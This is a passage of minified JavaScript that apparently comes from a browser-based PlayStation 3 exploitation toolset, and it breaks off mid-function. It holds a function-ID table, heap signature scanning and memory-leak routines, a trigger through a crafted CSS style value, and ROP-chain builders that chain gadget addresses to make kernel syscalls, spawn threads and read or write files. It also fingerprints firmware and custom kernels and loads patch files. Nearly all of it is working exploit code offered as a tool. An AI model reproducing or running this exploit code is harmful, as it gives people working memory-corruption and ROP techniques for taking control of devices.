e&&this.opds.names[e]?this.opds.names[e]:0}},sys_fs={libname:"sys_fs",opds:{nids:{},names:{}},names:{"0x6E681ED":"cellFsAccess","0x24FA3BCC":"cellFsAclRead","0xE44827ED":"cellFsAclWrite","0x7F13FC8C":"cellFsAioCancel","0x9F951810":"cellFsAioFinish","0xDB869F20":"cellFsAioInit","0xC1C507E7":"cellFsAioRead","0x4CEF342E":"cellFsAioWrite","0x3394F037":"cellFsAllocateFileAreaByFdWithInitialData","0x2CF1296B":"cellFsAllocateFileAreaByFdWithoutZeroFill","0x103B8632":"cellFsAllocateFileAreaWithInitialData","0x7A0329A1":"cellFsAllocateFileAreaWithoutZeroFill","0x1EA02E2F":"cellFsArcadeHddSerialNumber","0xE15939C3":"cellFsChangeFileSizeByFdWithoutAllocation","0x606F9F42":"cellFsChangeFileSizeWithoutAllocation","0x99406D0B":"cellFsChmod","0x842E7E06":"cellFsChown","0x2CB51F0D":"cellFsClose","0xFF42DCC3":"cellFsClosedir","0xCB588DBA":"cellFsFGetBlockSize","0x1CAEC657":"cellFsFGetBlockSize2","0x6AE0BA7F":"cellFsFcntl","0xD338A65A":"cellFsFdatasync","0xEF3EFA34":"cellFsFstat","0x967A162B":"cellFsFsync","0xE2939E5":"cellFsFtruncate","0x1A108AB7":"cellFsGetBlockSize","0x4BD5073A":"cellFsGetBlockSize2","0x9B882495":"cellFsGetDirectoryEntries","0xAA3B4BCD":"cellFsGetFreeSize","0x3AAA1BD0":"cellFsLink","0xA397D042":"cellFsLseek","0x1B0B915E":"cellFsLsnGetCDA","0x6C815943":"cellFsLsnGetCDASize","0x1FF82B63":"cellFsLsnLock","0x6A4B95C1":"cellFsLsnRead","0xF0A73832":"cellFsLsnRead2","0x226CD693":"cellFsLsnUnlock","0x14D58C7A":"cellFsMappedAllocate","0x384C65CF":"cellFsMappedFree","0xBA901FE6":"cellFsMkdir","0x718BF5F8":"cellFsOpen","0x18DD4604":"cellFsOpen2","0x3F61245C":"cellFsOpendir","0x4D5FF8E2":"cellFsRead","0xD5B4A14":"cellFsReadWithOffset","0x5C74903D":"cellFsReaddir","0xA01EE33A":"cellFsRegisterConversionCallback","0xF12EECC8":"cellFsRename","0x2796FDF3":"cellFsRmdir","0xB1840B53":"cellFsSdataOpen","0x6D3BB15B":"cellFsSdataOpenByFd","0x445C878F":"cellFsSdataOpenWithVersion","0x2671310":"cellFsSetDefaultContainer","0x91A1BEAA":"cellFsSetDiscReadRetrySetting","0x3140F6E1":"cellFsSetIoBuffer","0x75F16DC5":"cellFsSetIoBufferFromDefaultContainer","0x27800C6B":"cellFsStRead","0xD73938DF":"cellFsStReadFinish","0x190912F6":"cellFsStReadGetCurrentAddr","0xBD273A88":"cellFsStReadGetRegid","0xB3AFEE8B":"cellFsStReadGetRingBuf","0xCF34969C":"cellFsStReadGetStatus","0x2664C8AE":"cellFsStReadInit","0x81F33783":"cellFsStReadPutCurrentAddr","0x8DF28FF9":"cellFsStReadStart","0xF8E5D9A0":"cellFsStReadStop","0x8F71C5B2":"cellFsStReadWait","0x866F6AEC":"cellFsStReadWaitCallback","0x7DE6DCED":"cellFsStat","0x8DCFF2CD":"cellFsSymbolicLink","0xC9DC3AC5":"cellFsTruncate","0x3A1C8393":"cellFsTruncate2","0x7F4677A8":"cellFsUnlink","0xF94BAA80":"cellFsUnregisterL10nCallbacks","0xBEF554A4":"cellFsUtime","0x37907F9F":"cellFsWidgetStat","0xECDCF2AB":"cellFsWrite","0x8CB722D5":"cellFsWriteWithOffset"},getOPDbyNID:function(e){var t="number"==typeof e||"string"==typeof e?"0x"+parseInt(e).toString(16):"";return t.length>0&&this.opds.nids[t]?this.opds.nids[t]:0},getOPDbyName:function(e){return"string"==typeof e&&this.opds.names[e]?this.opds.names[e]:0}},sdk={libname:"sdk",opds:{nids:{},names:{}},names:{"0xC7781115":"cellCryptoPuSha256Hash","0x5FAFE92B":"cellCryptoPuSha1Hash"},getOPDbyNID:function(e){var t="number"==typeof e||"string"==typeof e?"0x"+parseInt(e).toString(16):"";return t.length>0&&this.opds.nids[t]?this.opds.nids[t]:0},getOPDbyName:function(e){return"string"==typeof e&&this.opds.names[e]?this.opds.names[e]:0}},helper={gtemp_addr:2398617600,vtemp_addr:0,vmode:"CEX",kmode:"CEX",ktype:"OFW",tversion:"1.2",tbuild:"002",fp9disabled_to:0,timeout:!1,timeout2:!1,timeout_init:!0,timeout_hextable:!1,timeout_log:!1,ppc_trap_instruction:2145386504,sp_exit:2413340112,dbyte41:16705,dbyteFF:65535,qbyte41:1094795585,qbyteFF:4294967295,mbytes:1048576,kbytes:1024,sFF32:"FFFFFFFF",sFF64:"FFFFFFFFFFFFFFFF",snull32:"00000000",snull64:"0000000000000000",gadgets_box:{},vshgadgets_box:{},vshdata_storage:6815744,sound_ok:0,sound_ng:0,system_plugin:0,xmb_plugin:0,edy_plugin:0,osk_plugin:0,download_plugin:0,xmm0_interface:0,webbrowser_plugin:0,explore_plugin:0,download_plugin_interface:0,explore_plugin_interface:0,webbrowser_plugin_interface:0,sc_fs_open:801,sc_fs_read:802,sc_fs_lseek:818,sc_fs_write:803,sc_fs_unlink:814,sc_fs_close:804,sc_fs_stat:808,sc_fs_mount:837,sc_fs_unmount:838,sc_fs_opendir:805,sc_fs_readdir:806,sc_fs_closedir:807,sc_fs_fcntl:817,sc_fs_chmod:834,sc_fs_disk_free:840,sc_fs_get_mount_info_size:841,sc_fs_get_mount_info:842,sc_ss_update_manager:863,sc_ss_ai_manager:867,sc_dbg_consoletype:985,fs_flag_readonly:0,fs_flag_create:577,fs_flag_create_rw:578,fs_flag_create_append:1089,fs_flag_create_append_rw:1090,fs_mode:438,sc_sso:600,sc_ssr:602,sc_ssw:603,sc_ssgdi:609,sc_ssc:601,sc_ssgcf:874,max_buffer_size:67108864,start_write_sector_nand:1024,start_write_sector_nor:1536,flash_flag:"100000000000000",step_sector:2048,sector_size:512,idps_offset:112,idps_sector_nor:376,idps_sector_nand:516,patchfile_size:734e4,rospatch_size:7340032,idps_nor_sigoffset:192624,idps_nand_sigoffset:264304,sem_attr_fifo:"000000020000020000000000000000000000000000000000726F7073656D0000",lwmtx_attr_fifo:"00000002000000206D74785F666D6D00",mtx_attr_fifo:"0000000100000020000002000000200000000000000000000000000000000000726F706D74780000",nofsm_hash:"",nofsm_url:"",minver:"0.00",sysinfo:{txt:"",done:!1},patch_ros_fragment_start:"000000000000000000000000000000000000000000E000000000000000000000000000000000000000000000006FFFE0",patch_ros_fragment_end1:"FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF",patch_ros_fragment_end2:"00000000000000000000000000000000",ioctl_flag:4026561295,ioctl_flag2:2155901711,stack_size:8192,ppu_thread_create_joinable:1,priority:3e3,stat_size_offset:40,sc_sm_ring_buzzer:392,sys_process_getpid:1,sys_process_getppid:18,sys_net_accept:700,sys_net_bind:701,sys_net_connect:702,sys_net_getpeername:703,sys_net_getsockname:704,sys_net_getsockopt:705,sys_net_listen:706,sys_net_recvfrom:707,sys_net_recvmsg:708,sys_net_sendto:710,sys_net_setsockopt:711,sys_net_poll:715,sys_net_select:716,sys_net_socket:713,sys_net_close:714,sys_net_control:723,sys_net_open_dump:717,sys_net_close_dump:719,sys_net_ioctl:724,sys_net_sendmsg:709,sys_ppu_thread_get_stackinfo:49,sys_ppu_thread_create:52,sys_ppu_thread_stop:50,sys_ppu_thread_restart:51,sys_ppu_thread_getprio:48,sys_ppu_thread_setprio:47,sys_ppu_thread_start:53,sys_ppu_thread_rename:56,sys_ppu_thread_join:44,sys_ppu_thread_exit:41,sys_mutex_create:100,sys_mutex_lock:102,sys_mutex_trylock:103,sys_mutex_unlock:104,sys_mutex_destroy:101,sys_lwmutex_create:95,sys_lwmutex_lock:97,sys_lwmutex_unlock:98,sys_lwmutex_trylock:99,sys_lwmutex_destroy:96,sys_cond_create:105,sys_cond_wait:107,sys_cond_signal:108,sys_cond_signal_to:110,sys_cond_destroy:106,sys_sem_create:90,sys_sem_close:91,sys_sem_wait:92,sys_sem_trywait:93,sys_sem_post:94,sys_sem_getvalue:114,sys_dbg_get_seminfo:947,sys_event_queue_create:128,sys_event_queue_destroy:129,sys_event_queue_receive:130,sys_event_queue_tryreceive:131,sys_event_queue_drain:133,sys_event_port_create:134,sys_event_port_destroy:135,sys_event_port_connect_local:136,sys_event_port_disconnect:137,sys_event_port_send:138,sys_event_flag_create:82,sys_event_flag_destroy:83,sys_event_flag_get:139,sys_event_flag_set:87,sys_event_flag_wait:85,sys_event_flag_trywait:86,sys_event_flag_clear:118,sys_memory_container_get_size:343,sys_memory_get_page_attribute:351,sys_memory_allocate_from_container:350,sys_memory_free:349,sys_sm_get_get_system_info:387,sys_sm_request_error_log:390,sys_sm_request_be_count:391,sys_sm_get_hw_config:393,sys_sm_request_scversion:394,sys_prx_get_module_list:494,sys_prx_get_module_info:495,sys_config_open:516,sys_config_close:517,sys_config_register_service:521,sys_timer_usleep:141,sys_timer_sleep:142,sc_storage:0,sock_control_flag:2148007941,browser_container:1056964612,dflash_name:"CELL_FS_IOS:BUILTIN_FLSH1",fs_fat:"CELL_FS_FAT",fm_usermode:0,me_usermode:0,ba_offset:0,AF_INET:2,SOCK_DGRAM:2,comp:{node:{},ret:[],fd:-1,bf:0,sfread:"",done:!1},mboard_table:{"Cyt2.2":"TMU-510","Cyt3.1":"TMU-520","Cyt3.2":"TMU-520",Cok14:"COK-001",CokB10:"COK-002",CokC12:"SEM-001",CokD10:"DIA-001",CokE10:"DIA-002",Deb01:"DEB-001",CokF10:"VER-001",CokG11:"DYN-001",CokH11:"SUR-001",CokJ13:"JTP-001",CokJ20:"JSD-001",CokK10:"KTE-001",CokM20:"MSX-001(NOR)",CokM30:"MPX-001(eMMC)",CokN10:"NPX-001(NOR)",CokP40:"PPX-001(eMMC)",CokP10:"PQX-001(NOR)",CokP30:"PQX-001(eMMC)",CokR40:"REX-001(eMMC)"},sha256_loadedros:"",rosBuffer:{offset:0,size:0},savePatchData:null,loadPatchData:null,existPatchData:null,deletePatchData:null,fm_tmpfile_path:"/dev_hdd0/tmp/bg_smtmp.bin",wt_pool:[],worker:{fmm:null,udp:null,fe:null},femplist:null,xregistry:null,sm:null,bc:null,sp:null,sctx:null,mplist:null,profileId:null,patches:null,cookies:{},swfobject:{},fm_functions:{},heap:{},stack:{},buffer:{},memory:{},rop:{},swf:{},error:function(e){throw new Error(e)}};function fromIEEE754(e,t,r){for(var s,o=[],l=e.length;l;l-=1){s=e[l-1];for(var n=8;n;n-=1)o.push(s%2?1:0),s>>=1}o.reverse();var i=o.join(""),a=(1<0?p*Math.pow(2,c-a)*(1+d/Math.pow(2,r)):0!==d?p*Math.pow(2,-(a-1))*(d/Math.pow(2,r)):0*p).noExponents()}function generateIEEE754(e,t){return fromIEEE754(new Array(e>>24&255,e>>16&255,e>>8&255,255&e,t>>24&255,t>>16&255,t>>8&255,255&t),11,52)}function generateExploit(e,t){return generateIEEE754(e,(e<<32|(t>>1)-1)-e)}function findSecBAOffset(e){var t=document.getElementById("explt");t.style.src="local("+generateExploit(e-1024,2176)+")";var r=t.style.src.substr(6,2176).toAscii(),s=e-1020,o=s+r.indexOf("0100000001000000")/2,l=s+r.indexOf("0000100000000012")/2,n=s+r.indexOf("0000100000000014")/2;return o=0){helper.ba_offset=jsleak32(t+(l+16)/2),Logger.debug("Found signature at 0x"+(t+l/2).toString(16));var a=jsleak32(t+l/2-4);return a>65536&&a<268435456&&(n=a-215820,i=jsleak32(jsleak32(a))-3940876,Logger.info("Found FP9 text segment 0x"+i.toString(16)),Logger.info("Found FP9 data segment 0x"+n.toString(16)),Logger.info("Found signature at 0x"+(t+l/2).toString(16)),Logger.info("Found BA offset at 0x"+helper.ba_offset.toString(16))),{sig_offset:t+l/2,ba_data_offset:helper.ba_offset,fp9text_offset:i,fp9data_offset:n}}return 0}var sig_search=function(e,t,r,s,o){r=r||32,s=s||2408513536,o=o||271;for(var l=0,n=0;0===l&&n4352&&Logger.info("BA signature search base 0x"+(s-65536*n+t).toString(16)+" on range 0x"+r.toString(16)),l=findJsVariableOffset(e,s-65536*n+t,r),n++;return l};function sig_scan(e){var t=0,r=0,s=0,o=10,l=4,n=0,i=toast("Preparing to scan RAM for exploitation target signature, please wait...","warning",300);Logger.info("Scanning heap range for primary target signature"),t=setTimeout(function(){!function a(){return s++,r=sig_search(e,4096*o,4352),o--,r&&0!==r?(t>0&&(clearTimeout(t),t=0),$().toastmessage("removeToast",i),Logger.info("Exploitation target signature found"),void setTimeout(function(){document.getElementById("FP9Test").finalizeSearch(r)},500)):o1?(Logger.info("BA primary target signature not found in browser heap range"),ps3chk(!1),document.getElementById("FP9Test").finalizeSearch({sig_offset:0,ba_data_offset:0}),void $().toastmessage("removeToast",i)):(o0&&(Logger.info("Restoring UDP Port user setting"),s.val(e)),helper.sm=new sysmem,helper.wt_pool=["BGTOOLSET_WKR_UDP","BGTOOLSET_WKR_FMM","BGTOOLSET_WKR_FE"],clearThreadSession(!0);var o=$("#"+Logger.iptnet());s=$("#"+Logger.tbport()),e=!1;function l(){o.on("click",function(){disable_GUI(),!0===this.checked?setTimeout(function(){var e=s.val(),t=parseInt(e);t.toString()!==e&&(Logger.error("Port "+e+" is invalid.\n Setting UDP port to default 18194"),e="18194",s.val(e),t=18194),t>0&&t<65536&&(helper.bc||(helper.bc=new UDPBroadcaster),Logger.info("Debug UDP Broadcasting on port "+e),0===helper.bc.open(e)&&(helper.cookies.set("udp_conn",e),setTimeout(function(){enable_GUI(),s.removeClass("ui-state-disabled").addClass("ui-state-disabled")},150)))},0):(setTimeout(function(){helper.bc&&helper.bc.close(),Logger.info("Debug UDP Broadcasting closed"),s.removeClass("ui-state-disabled"),enable_GUI()},100),this.checked=!1)}),o.parent().children("label").removeClass("ui-state-disabled")}helper.cookies.get("udp_socket")?setTimeout(function(){var t=helper.cookies.getJSON("udp_socket");s.val(t.port),helper.bc=new UDPBroadcaster(t),helper.bc.open(),o.parent().children("label").removeClass("ui-state-disabled"),o.click(),o.parent().children("label").removeClass("ui-state-disabled").addClass("ui-state-disabled"),e=!0,s.removeClass("ui-state-disabled").addClass("ui-state-disabled"),l(),Logger.info("UDP Port "+t.port+" reacquired")},500):(helper.bc=new UDPBroadcaster,l()),setTimeout(function(){var o=helper.heap.store(8),l=helper.heap.store();helper.kmode=function(){helper.rop.run(syscall32(helper.sc_dbg_consoletype,o));var e=helper.memory.upeek32(o+4);return 1===e?"CEX":2===e?"DEX":3===e?"DECR":"Unknown"}();var n=function(){var e=helper.rop.rrun(syscall(6,UInt64("8000000000000000")));Logger.debug("peek_sc6 ret: 0x"+e.toString(16)),helper.rop.run(syscall32(8,28672,l));var t=helper.memory.upeek32(l);Logger.debug("sc8_peekval: 0x"+t.toString(16));var r=helper.rop.rrun(syscall32(8,4919));Logger.debug("peek_sc_hen ret: 0x"+r.toString(16));var s=helper.rop.rrun(syscall32(8,32767));return Logger.debug("peek_sc1022 ret: 0x"+s.toString(16)),1638===s?"MAMBA":4919===r?"HEN":t>0?"COBRA":0===e?"CFW":"No"}();switch(helper.ktype="No"!==n,r){case 7362064:helper.nofsm_hash="4.80"===t?"CEX"===helper.kmode?"BA76A94AD77E456A40A7C0C6349F267AB2D676B95A345A76578EFCCB4973442D":"":"4.81"===t&&"CEX"===helper.kmode?"85BF81577D8B2AE372D567121AF7C41BADC279B486964D9EAAE372E0595F4FF4":"",helper.nofsm_url="4.80"===t?"CEX"===helper.kmode?"nofsm_patch_480.bin":"":"4.81"===t&&"CEX"===helper.kmode?"nofsm_patch_481.bin":"";break;case 7296288:helper.nofsm_hash="4.80"===t?"BA76A94AD77E456A40A7C0C6349F267AB2D676B95A345A76578EFCCB4973442D":"4.81"===t?"85BF81577D8B2AE372D567121AF7C41BADC279B486964D9EAAE372E0595F4FF4":"",helper.nofsm_url="4.80"===t?"nofsm_patch_480.bin":"4.81"===t?"nofsm_patch_481.bin":"";break;case 7362112:helper.nofsm_hash="4.82"===t&&"CEX"===helper.kmode?"1639F41F6D1E9658F22EA7ED1E961E5A4DE3640A19E945A8B0C9CC84A90F558A":"",helper.nofsm_url="4.82"===t&&"CEX"===helper.kmode?"nofsm_patch_482.bin":"";break;case 7362120:helper.nofsm_hash="4.84"===t&&"CEX"===helper.kmode?"597D32AD3CEA591003966B3C077400FD3903AB488705052CBB3F60AAA0837D21":"",helper.nofsm_url="4.84"===t&&"CEX"===helper.kmode?"nofsm_patch_484.bin":"";break;case 7296336:helper.nofsm_hash="4.82"===t?"1639F41F6D1E9658F22EA7ED1E961E5A4DE3640A19E945A8B0C9CC84A90F558A":"",helper.nofsm_url="4.82"===t?"nofsm_patch_482.bin":"";break;case 7296344:helper.nofsm_hash="4.83"===t?"DC5213CAAF7B85D9B4D47BD3E015711BF4C4EA5F899DC85CD31CC63176B24CE2":"4.84"===t?"597D32AD3CEA591003966B3C077400FD3903AB488705052CBB3F60AAA0837D21":"4.85"===t?"A17D20F3F5E0DCD9FD0F3F34F413550F751AE2005075A737969854BAE549C545":"4.86"===t?"B5B7D07D0432D1876C9DD19D780A80AF67CF9BA82FCD09ECBEDF236F30C3C44A":"4.87"===t?"25128F851C0B89CF4D830F0A4917C1C971FA2489B50F4084ED77FB429AB7E740":"4.88"===t?"EAE06949E2DEA732D13CF7BEF9C0A706EC71B5032410D277AE1554E89CE9D2ED":"4.89"===t?"7ECCF29015432182531CCF50EBAABCEA3866DD25320200CBD9440BA31C0C35ED":"",helper.nofsm_url="4.83"===t?"nofsm_patch_483.bin":"4.84"===t?"nofsm_patch_484.bin":"4.85"===t?"nofsm_patch_485.bin":"4.86"===t?"nofsm_patch_486.bin":"4.87"===t?"nofsm_patch_487.bin":"4.88"===t?"nofsm_patch_488.bin":"4.89"===t?"nofsm_patch_489.bin":""}helper.sp=new soundPlayer,helper.heap.free([o,l]),$("#ps3details").html("
    PS3 Firmware: "+t+"
    VSH mode: "+helper.vmode+"
    Kernel mode: "+helper.kmode+"
    Custom Syscalls: "+n+"
    "),setTimeout(function(){Logger.info("PS3 Firmware: "+t+" VSH mode: "+helper.vmode+" Kernel mode: "+helper.kmode),helper.sm.ready()?(toast("Hooking up vsh exports, please wait..","notice",5),setTimeout(function(){var t=new Date;Logger.info("Processed "+fillNIDfunc_OPDs([allocator,cellHttp,cellHttpUtil,cellRtc,netctl_main,pngdec_ppuonly,sysConsoleId,sysBdMediaId,sysPrxForUser,sys_fs,sys_fs_ps2disc,sys_io,sys_net,stdc,x3]).toString()+" vsh exports libraries "+getElapsedTime(t)),createDialogs(),e||s.removeClass("ui-state-disabled"),helper.rop.run(ringBuzzer(3)),toast("Xploit Initialization Complete
    Toolset ready","success",5),setTimeout(function(){infoDialog(jQuery("#donations").html(),"Hosting Renewal Deadline Approaching",function(){$("#tabs").tabs("enable"),$("#tabs").tabs("option","disabled",[3])})},500)},750)):(helper.rop.run(ringBuzzer(1)),toast("Xploit Initialization completed with errors
    Check the logs","warning",8))},25)},25)},2500)):(updateErrorDetails("PS3 Firmware: "+t+" XPLOIT ERROR","PS3 Firmware: "+t+" XPLOIT ERROR"),toast("An error occurred during the exploitation process","error",8)):(updateErrorDetails("PS3 Firmware version: "+t+" mismatch","PS3 Firmware version vs vsh.self version: mismatch detected"),Logger.warn("If you are using a firmware version spoofer, you should disable it (temporarily) before using the PS3 Toolset."),toast("The firmware on this console is not supported. This problem might be caused by firmware version spoofing.","error",8))}function dummy_frame(e){return fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget15_addr)+fill(192,helper.dbyte41)+hexdw2bin(e)}function set_r30_r31(e,t){return fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget5_addr)+fill(88,helper.dbyte41)+hexdw2bin(e)+hexdw2bin(t)}function set_r3to11(e,t,r,s,o,l,n,i,a,p,c){return fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget4_addr)+fill(80,helper.dbyte41)+fill(12,helper.dbyte41)+hexw2bin(a)+hexw2bin(i)+hexw2bin(l)+hexw2bin(o)+hexw2bin(s)+hexw2bin(r)+hexw2bin(t)+hexw2bin(e)+fill(16,helper.dbyte41)+hexw2bin(n)+fill(32,helper.dbyte41)+hexdw2bin(p)+fill(8,helper.dbyte41)+hexdw2bin(c)}function move_r29_into_r3(e){return fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget7_addr)+fill(112,helper.dbyte41)+hexdw2bin(e)}function move_r31_into_r3(e){return fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget6_addr)+fill(96,helper.dbyte41)+hexdw2bin(e)}function move_r3_into_r4(e){return fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget14_addr)+fill(128,helper.dbyte41)+hexdw2bin(e)}function move_r4_into_r3(e){return fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget14_addr+4)+fill(128,helper.dbyte41)+hexdw2bin(e)}function move_r6_into_r3(e,t,r,s,o){return fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget18_addr)+fill(96,helper.dbyte41)+hexdw2bin(e)+hexdw2bin(t)+hexdw2bin(r)+hexdw2bin(s)+hexdw2bin(o)}function move_r7_into_r3(e){return fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget24_addr)+fill(96,helper.dbyte41)+hexdw2bin(e)}function move_r10_into_r3(e,t){return fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget21_addr)+fill(88,helper.dbyte41)+hexdw2bin(e)+hexdw2bin(t)}function set_r29_r31(e,t){return fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget19_addr+36)+fill(128,helper.dbyte41)+hexdw2bin(e)+fill(8,helper.dbyte41)+hexdw2bin(t)}function set_r9_r10_r11_words(e,t,r,s,o){return set_r29_r31()+fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget19_addr)+fill(92,helper.dbyte41)+hexw2bin(e)+hexw2bin(r)+hexw2bin(t)+fill(24,helper.dbyte41)+hexdw2bin(s)+fill(8,helper.dbyte41)+hexdw2bin(o)}function move_r9_into_r3(){var e=helper.heap.store(helper.gadgets_box.ugadget25_addr.toString32()+helper.snull32);return helper.heap.queue(e),set_r29_r31()+fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget19_addr+4)+fill(96,helper.dbyte41)+hexw2bin(e)+fill(28,helper.dbyte41)+hexdw2bin(null)+fill(8,helper.dbyte41)+hexdw2bin(null)+fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget17_addr)+fill(88,helper.dbyte41)}function move_r8_into_r3(){var e=helper.heap.store(helper.gadgets_box.ugadget22_addr.toString32()+helper.snull32);return helper.heap.queue(e),set_r9_r10_r11_words(0,0,e)+fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget17_addr)+fill(88,helper.dbyte41)}function move_r5_into_r3(){var e=helper.heap.store(helper.gadgets_box.ugadget23_addr.toString32()+helper.snull32);return helper.heap.queue(e),set_r9_r10_r11_words(0,0,e)+fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget17_addr)+fill(88,helper.dbyte41)}function store_r3_dword(e,t){return set_r9_r10_r11_words(0,e,0)+fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget20_addr)+fill(96,helper.dbyte41)+hexdw2bin(t)}function store_r4_dword(e,t){return move_r4_into_r3()+store_r3_dword(e,t)}function store_r5_dword(e,t){return move_r5_into_r3()+store_r3_dword(e,t)}function store_r6_dword(e,t){return move_r6_into_r3()+store_r3_dword(e,t)}function store_r7_dword(e,t){return move_r7_into_r3()+store_r3_dword(e,t)}function store_r8_dword(e,t){return move_r8_into_r3()+store_r3_dword(e,t)}function store_r9_dword(e,t){return move_r9_into_r3()+store_r3_dword(e,t)}function store_r10_dword(e,t){return move_r10_into_r3()+store_r3_dword(e,t)}function restore_toc(e){return fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget8_addr)+fill(16,0)+hexdw2bin(e)+fill(64,helper.dbyte41)}function store_r3_word(e,t){return fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget11_addr+4)+fill(96,helper.dbyte41)+hexdw2bin(e)+fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget11_addr)+fill(96,helper.dbyte41)+hexdw2bin(t)}function syscall(e,t,r,s,o,l,n,i,a,p,c,d,u,h,g,f){return set_r30_r31()+set_r3to11(0,0,s,o,l,n,i,a,e)+set_r30_r31(t,r)+fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget16_addr)+fill(128,helper.dbyte41)+hexdw2bin(p)+hexdw2bin(c)+hexdw2bin(d)+hexdw2bin(u)+hexdw2bin(h)+hexdw2bin(g)+hexdw2bin(f)}function syscall32(e,t,r,s,o,l,n,i,a){return set_r30_r31()+set_r3to11(t,r,s,o,l,n,i,a,e)+fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget9_addr)+fill(104,helper.dbyte41)}function call_subByOpd(e,t,r,s,o,l,n,i,a){return set_r30_r31()+set_r3to11(t,r,s,o,l,n,i,a,e)+fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget17_addr)+fill(88,helper.dbyte41)}function call_sub(e,t,r,s,o,l,n,i,a,p){var c=helper.heap.store(e.toString32()+t.toString32());return helper.heap.queue(c),call_subByOpd(c,r,s,o,l,n,i,a,p)}function callsub(e,t,r,s,o,l,n,i,a,p,c,d,u,h){return d<96&&helper.error("callsub cannot use the gadget at 0x"+e.toString(16)+" because its frame size is < 0x"+96..toString(16)),restore_toc(t)+set_r30_r31()+set_r3to11(r,s,o,l,n,i,a,p,c)+fill(16,helper.dbyte41)+hexdw2bin(e)+fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.fptoc_addr)+fill(d-56,0)+hexdw2bin(h)}function call(e,t,r,s,o,l,n,i,a){return helper.rop.rrun(call_subByOpd(e,t,r,s,o,l,n,i,a))}function callf(e,t,r,s,o,l,n,i,a){return call(helper.memory.upeek32(helper.gadgets_box.fpdbase+e),t,r,s,o,l,n,i,a)}function get_stat(e){var t=helper.heap.store(128);return helper.heap.queue(t),0!==stdc.stat(e,t)?(console.log("stat failed: errno "+stdc.export_44115dd0()),0):t}function fsitem_exists(e){var t=helper.heap.store(e,!0),r=helper.heap.store(128),s=stdc.stat(t,r);return helper.heap.free([t,r]),0===s}function fsitem_getsize(e){var t=helper.heap.store(128),r=helper.heap.store(e,!0),s=helper.rop.rrun(syscall32(helper.sc_fs_stat,r,t)),o=helper.memory.upeek32(t+helper.stat_size_offset);return o=o>=2147483648?0:o,helper.heap.free([t,r]),0!==s?(Logger.error("fsitem_getsize stat error: 0x"+s),-1):o}function getSHA256hash(e,t){var r=helper.heap.store(32),s=sdk.cellCryptoPuSha256Hash(r,e,t);console.log("getSHA256hash: "+s);var o=helper.memory.upeeks(r,32,!1);return helper.heap.free([r]),o.toUpperCase()}function getSHA1hash(e,t){var r=helper.heap.store(20),s=(sdk.cellCryptoPuSha1Hash(r,e,t),helper.memory.upeeks(r,20,!1));return helper.heap.free([r]),s}function makeDir(e){var t=helper.heap.store(e,!0),r=stdc.mkdir(t);return helper.heap.free([e]),r}function removeDir(e){var t=helper.heap.store(e,!0),r=stdc.rmdir(t);return helper.heap.free([e]),r}function deleteFile(e){var t=helper.heap.store(e,!0),r=stdc.unlink(t);return helper.heap.free([e]),r}function moveFile(e,t){var r=copyFile(e,t);if(0===r){var s=helper.heap.store(e,!0);r=stdc.unlink(s),helper.heap.free([e])}return r}function copyFile(e,t,r,s){var o=new fileObject(e),l=new fileObject(t,helper.fs_flag_create_append_rw),n=-1,i=-1;function a(){n=o.close(),i=l.close(),0===n&&0===i?(Logger.info("copyFile: Files closed successfully"),0):0!==n?Logger.error("copyFile: Closing Error 0x"+n.toString(16)+" on source file "+e):Logger.error("copyFile: Closing Error 0x"+i.toString(16)+" on destination file "+t),r&&s&&$.Deferred().done(r).resolve(s)}function p(){s=toast("Copying file","warning",300);var r=helper.swf.getMaxAvailableBufferAllocSize();if(o.size>r){for(var p=Math.floor(o.size/r),c=o.size-p*r,d=0;d0?(Logger.warn("copyFile: Destination file already exists "+t),confirmDialog("If you continue, "+t+" will be overwritten","Confirm",p,null,a,null),0):(p(),0)}function createFile(e){var t=new fileObject(e),r=-1;return t.size<0&&(0===(r=t.open(helper.fs_flag_create))||t.fd>0)&&(r=t.close()),r}function prep_threading(){var e=helper.heap.store(helper.gadgets_box.ugadget12_addr.toString32()+helper.gadgets_box.fptoc_addr.toString32()),t=helper.heap.store(helper.gadgets_box.ugadget13_addr.toString32()+helper.gadgets_box.fptoc_addr.toString32());return{opd1:e,opd2:t,opd3:helper.heap.store(t.toString32())}}function createThread(e,t,r,s,o){var l=helper.heap.store(helper.gadgets_box.ugadget12_addr.toString32()+helper.gadgets_box.fptoc_addr.toString32()),n=helper.heap.store(helper.gadgets_box.ugadget13_addr.toString32()+helper.gadgets_box.fptoc_addr.toString32()),i=helper.heap.store(n.toString32());helper.heap.queue([l,n,i]),e=(e=dummy_frame()+e+syscall32(helper.sys_ppu_thread_exit,0)).slice(0,80)+helper.gadgets_box.fptoc_addr.toString64()+e.slice(288,616)+l.toString32()+e.slice(624);var a=helper.stack.store(e),p=e.length/2,c=helper.heap.store((a+128).toString32()),d=helper.heap.store(r,!0),u=helper.heap.store(8);helper.heap.queue([c,d,u]),helper.rop.run(syscall32(helper.sys_ppu_thread_create,u,i,c,0,s,o,t,d));var h=helper.memory.upeek32(u+4);return 